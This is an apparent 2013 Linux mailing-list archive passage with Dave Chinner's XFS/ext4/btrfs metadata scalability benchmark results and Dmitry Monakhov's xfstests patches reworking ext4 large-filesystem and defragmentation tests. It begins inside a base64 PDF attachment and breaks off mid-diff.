dMKuIFdvcmQgMjAxMDwveG1wOkNyZWF0b3JUb29sPjx4bXA6Q3JlYXRlRGF0ZT4yMDEzLTA3LTA4 VDEwOjI2OjUzKzA0OjAwPC94bXA6Q3JlYXRlRGF0ZT48eG1wOk1vZGlmeURhdGU+MjAxMy0wNy0w OFQxMDoyNjo1MyswNDowMDwveG1wOk1vZGlmeURhdGU+PC9yZGY6RGVzY3JpcHRpb24+CjxyZGY6 RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiICB4bWxuczp4YXBNTT0iaHR0cDovL25zLmFkb2JlLmNv bS94YXAvMS4wL21tLyI+Cjx4YXBNTTpEb2N1bWVudElEPnV1aWQ6RjkyNjAwMEQtQTQzNC00QkUz LTg2NTItMjk0NDQ3OTExMTBBPC94YXBNTTpEb2N1bWVudElEPjx4YXBNTTpJbnN0YW5jZUlEPnV1 aWQ6RjkyNjAwMEQtQTQzNC00QkUzLTg2NTItMjk0NDQ3OTExMTBBPC94YXBNTTpJbnN0YW5jZUlE PjwvcmRmOkRlc2NyaXB0aW9uPgo8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiAgeG1sbnM6 cGRmYWlkPSJodHRwOi8vd3d3LmFpaW0ub3JnL3BkZmEvbnMvaWQvIj4KPHBkZmFpZDpwYXJ0PjE8 L3BkZmFpZDpwYXJ0PjxwZGZhaWQ6Y29uZm9ybWFuY2U+QjwvcGRmYWlkOmNvbmZvcm1hbmNlPjwv cmRmOkRlc2NyaXB0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPC9yZGY6UkRGPjwveDp4 bXBtZXRhPjw/eHBhY2tldCBlbmQ9InciPz4NCmVuZHN0cmVhbQ0KZW5kb2JqDQp4cmVmDQowIDE0 DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMTcgMDAwMDAgbg0KMDAwMDAwMDI5MyAwMDAw MCBuDQowMDAwMDAwMzQ5IDAwMDAwIG4NCjAwMDAwMDA1MzggMDAwMDAgbg0KMDAwMDAwMDc2OCAw MDAwMCBuDQowMDAwMDAwOTQ2IDAwMDAwIG4NCjAwMDAwMDEyMDggMDAwMDAgbg0KMDAwMDAzMTI4 NSAwMDAwMCBuDQowMDAwMDMxNTAwIDAwMDAwIG4NCjAwMDAwMzE1MjYgMDAwMDAgbg0KMDAwMDA3 MjgzOCAwMDAwMCBuDQowMDAwMDc0Mzg0IDAwMDAwIG4NCjAwMDAwNzcwNTcgMDAwMDAgbg0KdHJh aWxlcg0KPDwvU2l6ZSAxNC9Sb290IDEgMCBSL0luZm8gOCAwIFIvSURbPDBEMDAyNkY5MzRBNEUz NEI4NjUyMjk0NDQ3OTExMTBBPjwwRDAwMjZGOTM0QTRFMzRCODY1MjI5NDQ0NzkxMTEwQT5dID4+ DQpzdGFydHhyZWYNCjgwMzYwDQolJUVPRg== ------=_NextPart_000_0DA8_01CE7C78.E8C77AB0-- From david@fromorbit.com Tue Jul 9 03:26:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6B4737F4E for ; Tue, 9 Jul 2013 03:26:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3D5D48F8037 for ; Tue, 9 Jul 2013 01:26:44 -0700 (PDT) X-ASG-Debug-ID: 1373358401-04bdf02b8eaf8060001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id wrUvcamMXif8CoLb for ; Tue, 09 Jul 2013 01:26:42 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AukNAPXI21F5LGhq/2dsb2JhbABagwm8UoUvBAGBHRd0giMBAQQBJxMcIwULCAMYCRoLDwUlAzSICQW5SBaOKQ+BHQeDcgOXUpFJgViBSyqBLQ Received: from ppp121-44-104-106.lns20.syd6.internode.on.net (HELO dastard) ([121.44.104.106]) by ipmail05.adl6.internode.on.net with ESMTP; 09 Jul 2013 17:56:26 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UwTFe-00040J-0t; Tue, 09 Jul 2013 18:26:22 +1000 Date: Tue, 9 Jul 2013 18:26:21 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org Subject: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Message-ID: <20130709082621.GI3438@dastard> X-ASG-Orig-Subj: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130708124453.GC3438@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1373358401 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136244 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 08, 2013 at 10:44:53PM +1000, Dave Chinner wrote: > [cc fsdevel because after all the XFS stuff I did a some testing on > mmotm w.r.t per-node LRU lock contention avoidance, and also some > scalability tests against ext4 and btrfs for comparison on some new > hardware. That bit ain't pretty. ] A quick follow on mmotm: > FWIW, the mmotm kernel (which has a fair bit of debug enabled, so > not quite comparitive) doesn't have any LRU lock contention to speak > of. For create: > > - 7.81% [kernel] [k] __ticket_spin_trylock > - __ticket_spin_trylock > - 70.98% _raw_spin_lock > + 97.55% xfs_log_commit_cil > + 0.93% __d_instantiate > + 0.58% inode_sb_list_add > - 29.02% do_raw_spin_lock > - _raw_spin_lock > + 41.14% xfs_log_commit_cil > + 8.29% _xfs_buf_find > + 8.00% xfs_iflush_cluster So i just ported all my prototype sync and inode_sb_list_lock changes across to mmotm, as well as the XFS CIL optimisations. - 2.33% [kernel] [k] __ticket_spin_trylock - __ticket_spin_trylock - 70.14% do_raw_spin_lock - _raw_spin_lock + 16.91% _xfs_buf_find + 15.20% list_lru_add + 12.83% xfs_log_commit_cil + 11.18% d_alloc + 7.43% dput + 4.56% __d_instantiate .... Most of the spinlock contention has gone away. > And the walk: > > - 26.37% [kernel] [k] __ticket_spin_trylock > - __ticket_spin_trylock > - 49.10% _raw_spin_lock > - 50.65% evict ... > - 26.99% list_lru_add > + 89.01% inode_add_lru > + 10.95% dput > + 7.03% __remove_inode_hash > - 40.65% do_raw_spin_lock > - _raw_spin_lock > - 41.96% evict .... > - 13.55% list_lru_add > 84.33% inode_add_lru .... > + 10.10% __remove_inode_hash > system_call_fastpath - 15.44% [kernel] [k] __ticket_spin_trylock - __ticket_spin_trylock - 46.59% _raw_spin_lock + 69.40% list_lru_add 17.65% list_lru_del 5.70% list_lru_count_node 2.44% shrink_dentry_list prune_dcache_sb super_cache_scan shrink_slab 0.86% __page_check_address - 33.06% do_raw_spin_lock - _raw_spin_lock + 36.96% list_lru_add + 11.98% list_lru_del + 6.68% shrink_dentry_list + 6.43% d_alloc + 4.79% _xfs_buf_find ..... + 11.48% do_raw_spin_trylock + 8.87% _raw_spin_trylock So now we see that CPU wasted on contention is down by 40%. Observation shows that most of the list_lru_add/list_lru_del contention occurs when reclaim is running - before memory filled up the lookup rate was on the high side of 600,000 inodes/s, but fell back to about 425,000/s once reclaim started working. > > There's quite a different pattern of contention - it has moved > inward to evict which implies the inode_sb_list_lock is the next > obvious point of contention. I have patches in the works for that. > Also, the inode_hash_lock is causing some contention, even though we > fake inode hashing. I have a patch to fix that for XFS as well. > > I also note an interesting behaviour of the per-node inode LRUs - > the contention is coming from the dentry shrinker on one node > freeing inodes allocated on a different node during reclaim. There's > scope for improvement there. > > But here' the interesting part: > > Kernel create walk unlink > time(s) rate time(s) time(s) > 3.10-cil 222 266k+-32k 170 295 > mmotm 251 222k+-16k 128 356 mmotm-cil 225 258k+-26k 122 296 So even with all the debug on, the mmotm kernel with most of the mods as I was running in 3.10-cil, plus the s_inodes ->list_lru conversion gets the same throughput for create and unlink and has much better walk times. > Even with all the debug enabled, the overall walk time dropped by > 25% to 128s. So performance in this workload has substantially > improved because of the per-node LRUs and variability is also down > as well, as predicted. Once I add all the tweaks I have in the > 3.10-cil tree to mmotm, I expect significant improvements to create > and unlink performance as well... > > So, lets look at ext4 vs btrfs vs XFS at 16-way (this is on the > 3.10-cil kernel I've been testing XFS on): > > create walk unlink > time(s) rate time(s) time(s) > xfs 222 266k+-32k 170 295 > ext4 978 54k+- 2k 325 2053 > btrfs 1223 47k+- 8k 366 12000(*) > > (*) Estimate based on a removal rate of 18.5 minutes for the first > 4.8 million inodes. So, let's run these again on my current mmotm tree - it has the ext4 extent tree fixes in it and my rcu inode hash lookup patch... create walk unlink time(s) rate time(s) time(s) xfs 225 258k+-26k 122 296 ext4 456 118k+- 4k 128 1632 btrfs 1122 51k+- 3k 281 3200(*) (*) about 4.7 million inodes removed in 5 minutes. ext4 is a lot healthier: create speed doubles from the extent cache lock contention fixes, and the walk time halves due to the rcu inode cache lookup. That said, it is still burning a huge amount of CPU on the inode_hash_lock adding and removing inodes. Unlink perf is a bit faster, but still slow. So, yeah, things will get better in the not-too distant future... And for btrfs? Well, create is a tiny bit faster, the walk is 20% faster thanks to the rcu hash lookups, and unlinks are markedly faster (3x). Still not fast enough for me to hang around waiting for them to complete, though. FWIW, while the results are a lot better for ext4, let me just point out how hard it is driving the storage to get that performance: load | create | walk | unlink IO type | write | read | read | write | IOPS BW | IOPS BW | IOPS BW | IOPS BW --------+------------+--------------+---------------+-------------- xfs | 900 200 | 18000 140 | 7500 50 | 400 50 ext4 |23000 390 | 55000 200 | 2000 10 | 13000 160 btrfs(*)|peaky 75 | 26000 100 | decay 10 | peaky peaky ext4 is hammering the SSDs far harder than XFS, both in terms of IOPS and bandwidth. You do not want to run ext4 on your SSD if you have a metadata intensive workload as it will age the SSD much, much faster than XFS with that sort of write behaviour. (*) the btrfs create IO pattern is 5s peaks of write IOPS every 30s. The baseline is about 500 IOPS, but the peaks reach upwards of 30,000 write IOPS. Unlink does this as well. There are also short bursts of 2-3000 read IOPS just before the write IOPS bursts in the create workload. For the unlink, it starts off with about 10,000 read IOPS, and goes quickly into exponential decay down to about 2000 read IOPS in 90s. Then it hits some trigger and the cycle starts again. The trigger appears to co-incide with the reclaim 1-2 million dentries being reclaimed. Cheers, Dave. -- Dave Chinner david@fromorbit.com From dmonakhov@openvz.org Tue Jul 9 06:05:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8DA257F37 for ; Tue, 9 Jul 2013 06:05:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5EA71304043 for ; Tue, 9 Jul 2013 04:05:35 -0700 (PDT) X-ASG-Debug-ID: 1373367932-04bdf0233ed2bad0001-NocioJ Received: from relay.sw.ru (mailhub.sw.ru [195.214.232.25]) by cuda.sgi.com with ESMTP id yVGa1kAVARmcQMrm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 09 Jul 2013 04:05:33 -0700 (PDT) X-Barracuda-Envelope-From: dmonakhov@openvz.org X-Barracuda-Apparent-Source-IP: 195.214.232.25 Received: from mct-mail.qa.sw.ru ([10.29.1.112]) by relay.sw.ru (8.13.4/8.13.4) with ESMTP id r69B5PIa022022; Tue, 9 Jul 2013 15:05:28 +0400 (MSK) From: Dmitry Monakhov To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, dchinner@redhat.com, Dmitry Monakhov Subject: [PATCH 2/4] large-fs: improve space diversification for ext4 Date: Tue, 9 Jul 2013 15:05:16 +0400 X-ASG-Orig-Subj: [PATCH 2/4] large-fs: improve space diversification for ext4 Message-Id: <1373367918-7516-2-git-send-email-dmonakhov@openvz.org> X-Mailer: git-send-email 1.7.7.6 In-Reply-To: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> References: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> X-Barracuda-Connect: mailhub.sw.ru[195.214.232.25] X-Barracuda-Start-Time: 1373367932 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Currently we allocated several giant files one by one until limit, so empty space is located as one chunk which limit code-path coverage. This patch consume all space with NUM_SPACE_FILES files (by default 1024) each has same size, and when truncate each one by required delta. As result we have $NUM_SPACE_FILES chunks of free blocks distributed across whole filesystem. This should help us to avoid regressions similar to e7c9e3e99adf6c49 Signed-off-by: Dmitry Monakhov --- common/rc | 40 ++++++++++++++++------------------------ 1 files changed, 16 insertions(+), 24 deletions(-) diff --git a/common/rc b/common/rc index c44acea..902fc19 100644 --- a/common/rc +++ b/common/rc @@ -440,12 +440,17 @@ _setup_large_ext4_fs() fs_empty_space=$((50*1024*1024*1024)) [ "$LARGE_SCRATCH_DEV" != yes ] && return 0 + [ -z "$NUM_SPACE_FILES" ] && export NUM_SPACE_FILES=1024 [ -z "$SCRATCH_DEV_EMPTY_SPACE" ] && SCRATCH_DEV_EMPTY_SPACE=0 fs_empty_space=$((fs_empty_space + $SCRATCH_DEV_EMPTY_SPACE)) [ $fs_empty_space -ge $fs_size ] && return 0 # calculate the size of the file we need to allocate. + space_to_consume=$(($fs_size - $fs_empty_space)) + file_size_falloc=$(($fs_size/$NUM_SPACE_FILES)) + file_size_final=$(($space_to_consume/$NUM_SPACE_FILES)) + # mount the filesystem and create 16TB - 4KB files until we consume # all the necessary space. _scratch_mount 2>&1 >$tmp_dir/mnt.err @@ -457,33 +462,20 @@ _setup_large_ext4_fs() return $status fi rm -f $tmp_dir/mnt.err - - file_size=$((16*1024*1024*1024*1024 - 4096)) - nfiles=0 - while [ $space_to_consume -gt $file_size ]; do - + mkdir $SCRATCH_MNT/.use_space + # Consume all space on filesytem + for ((nfiles = 0; nfiles < nfiles_total; nfiles++)); do xfs_io -F -f \ - -c "truncate $file_size" \ - -c "falloc -k 0 $file_size" \ - $SCRATCH_MNT/.use_space.$nfiles 2>&1 - status=$? - if [ $status -ne 0 ]; then - break; - fi - - space_to_consume=$(( $space_to_consume - $file_size )) - nfiles=$(($nfiles + 1)) + -c "truncate $file_size_falloc" \ + -c "falloc -k 0 $file_size_falloc" \ + $SCRATCH_MNT/.use_space/use_space.$nfiles 2>&1 done - - # consume the remaining space. - if [ $space_to_consume -gt 0 ]; then + # Truncate files to smaller size, will free chunks of space + for ((nfiles = 0; nfiles < nfiles_total; nfiles++)); do xfs_io -F -f \ - -c "truncate $space_to_consume" \ - -c "falloc -k 0 $space_to_consume" \ - $SCRATCH_MNT/.use_space.$nfiles 2>&1 - status=$? - fi - export NUM_SPACE_FILES=$nfiles + -c "truncate $file_size_final" \ + $SCRATCH_MNT/.use_space/use_space.$nfiles 2>&1 + done umount $SCRATCH_MNT if [ $status -ne 0 ]; then -- 1.7.1 From dmonakhov@openvz.org Tue Jul 9 06:05:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E33457F37 for ; Tue, 9 Jul 2013 06:05:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B4C4D304043 for ; Tue, 9 Jul 2013 04:05:36 -0700 (PDT) X-ASG-Debug-ID: 1373367933-04bdf02b8eb05160001-NocioJ Received: from relay.sw.ru (mailhub.sw.ru [195.214.232.25]) by cuda.sgi.com with ESMTP id lTWyrjOVfdvyEe8V (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 09 Jul 2013 04:05:34 -0700 (PDT) X-Barracuda-Envelope-From: dmonakhov@openvz.org X-Barracuda-Apparent-Source-IP: 195.214.232.25 Received: from mct-mail.qa.sw.ru ([10.29.1.112]) by relay.sw.ru (8.13.4/8.13.4) with ESMTP id r69B5PIb022022; Tue, 9 Jul 2013 15:05:29 +0400 (MSK) From: Dmitry Monakhov To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, dchinner@redhat.com, Dmitry Monakhov Subject: [PATCH 3/4] ext4: ignore valid errors from defragmentation tests Date: Tue, 9 Jul 2013 15:05:17 +0400 X-ASG-Orig-Subj: [PATCH 3/4] ext4: ignore valid errors from defragmentation tests Message-Id: <1373367918-7516-3-git-send-email-dmonakhov@openvz.org> X-Mailer: git-send-email 1.7.7.6 In-Reply-To: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> References: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> X-Barracuda-Connect: mailhub.sw.ru[195.214.232.25] X-Barracuda-Start-Time: 1373367934 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Signed-off-by: Dmitry Monakhov --- tests/ext4/301 | 3 +++ tests/ext4/302 | 3 +++ tests/ext4/303 | 6 ++++++ tests/ext4/304 | 3 +++ 4 files changed, 15 insertions(+), 0 deletions(-) diff --git a/tests/ext4/301 b/tests/ext4/301 index 0ca3622..30e4273 100755 --- a/tests/ext4/301 +++ b/tests/ext4/301 @@ -74,6 +74,9 @@ donorname=test1.def filename=test1 inplace=0 rw=write +continue_on_error=write +ignore_error=,ENOSPC:EBUSY +error_dump=0 numjobs=${NUM_JOBS} runtime=30*${TIME_FACTOR} time_based diff --git a/tests/ext4/302 b/tests/ext4/302 index 497f4c6..5ce007b 100755 --- a/tests/ext4/302 +++ b/tests/ext4/302 @@ -76,6 +76,9 @@ donorname=test2.def filename=test2 inplace=0 rw=write +continue_on_error=write +ignore_error=,ENOSPC:EBUSY +error_dump=0 numjobs=${LOAD_FACTOR} runtime=30*${TIME_FACTOR} time_based diff --git a/tests/ext4/303 b/tests/ext4/303 index 93354e5..f96264e 100755 --- a/tests/ext4/303 +++ b/tests/ext4/303 @@ -72,6 +72,9 @@ donorname=test3.def filename=test31 inplace=0 rw=write +continue_on_error=write +ignore_error=,ENOSPC:EBUSY +error_dump=0 numjobs=${LOAD_FACTOR} runtime=30*${TIME_FACTOR} time_based @@ -84,6 +87,9 @@ donorname=test3.def filename=test32 inplace=0 rw=write +continue_on_error=write +ignore_error=,ENOSPC:EBUSY +error_dump=0 numjobs=${LOAD_FACTOR} runtime=30*${TIME_FACTOR} time_based diff --git a/tests/ext4/304 b/tests/ext4/304 index 74e601a..5e03d4a 100755 --- a/tests/ext4/304 +++ b/tests/ext4/304 @@ -76,6 +76,9 @@ donorname=test4.def filename=test4 inplace=1 rw=randwrite +continue_on_error=write +ignore_error=,ENOSPC:EBUSY:EINVAL:61 +error_dump=0 numjobs=4*${LOAD_FACTOR} runtime=30*${TIME_FACTOR} time_based -- 1.7.1 From dmonakhov@openvz.org Tue Jul 9 06:05:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D35FC7F51 for ; Tue, 9 Jul 2013 06:05:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B35D9304043 for ; Tue, 9 Jul 2013 04:05:37 -0700 (PDT) X-ASG-Debug-ID: 1373367934-04cb6c2a47a6a780001-NocioJ Received: from relay.sw.ru (mailhub.sw.ru [195.214.232.25]) by cuda.sgi.com with ESMTP id EideixQWlbk4h3rG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 09 Jul 2013 04:05:36 -0700 (PDT) X-Barracuda-Envelope-From: dmonakhov@openvz.org X-Barracuda-Apparent-Source-IP: 195.214.232.25 Received: from mct-mail.qa.sw.ru ([10.29.1.112]) by relay.sw.ru (8.13.4/8.13.4) with ESMTP id r69B5PIc022022; Tue, 9 Jul 2013 15:05:30 +0400 (MSK) From: Dmitry Monakhov To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, dchinner@redhat.com, Dmitry Monakhov Subject: [PATCH 4/4] large-fs: fix ext4 defragmentation tests Date: Tue, 9 Jul 2013 15:05:18 +0400 X-ASG-Orig-Subj: [PATCH 4/4] large-fs: fix ext4 defragmentation tests Message-Id: <1373367918-7516-4-git-send-email-dmonakhov@openvz.org> X-Mailer: git-send-email 1.7.7.6 In-Reply-To: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> References: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> X-Barracuda-Connect: mailhub.sw.ru[195.214.232.25] X-Barracuda-Start-Time: 1373367935 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Initially work space size calculation was based on size of blkdev which obviously wrong for large-fs case. This patch calculate work space based on `df` cmd. Signed-off-by: Dmitry Monakhov --- tests/ext4/301 | 20 +++++++++++--------- tests/ext4/302 | 15 ++++++++------- tests/ext4/303 | 15 ++++++++------- tests/ext4/304 | 15 ++++++++------- 4 files changed, 35 insertions(+), 30 deletions(-) diff --git a/tests/ext4/301 b/tests/ext4/301 index 30e4273..8c698b5 100755 --- a/tests/ext4/301 +++ b/tests/ext4/301 @@ -45,18 +45,13 @@ _require_scratch _require_defrag NUM_JOBS=$((4*LOAD_FACTOR)) -BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -# We need space for 2 files (test file, and donor one) -# reserve 30% in order to avoid ENOSPC -FILE_SIZE=$((BLK_DEV_SIZE * (512 / (2 + 1)))) - cat >$fio_config <> $seqres.full cat $fio_config >> $seqres.full - run_check $FIO_PROG $fio_config -} + run_check $FIO_PROG $fio_config -_require_fio $fio_config +} +# Temproraly export FIO_FILE_SIZE which is required for fio's job validation +export FIO_FILE_SIZE=16384 +_require_fio $fio_config _scratch_mkfs >> $seqres.full 2>&1 _scratch_mount diff --git a/tests/ext4/302 b/tests/ext4/302 index 5ce007b..e525977 100755 --- a/tests/ext4/302 +++ b/tests/ext4/302 @@ -45,18 +45,13 @@ _need_to_be_root _require_scratch _require_defrag -BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -# We need space for 2 files (test file, and donor one) -# reserve 30% in order to avoid ENOSPC -FILE_SIZE=$((BLK_DEV_SIZE * (512 / (2 + 1)))) - cat >$fio_config <> $seqres.full cat $fio_config >> $seqres.full run_check $FIO_PROG $fio_config } - +# Temproraly export FIO_FILE_SIZE which is required for fio's job validation +export FIO_FILE_SIZE=16384 _require_fio $fio_config _scratch_mkfs >> $seqres.full 2>&1 diff --git a/tests/ext4/303 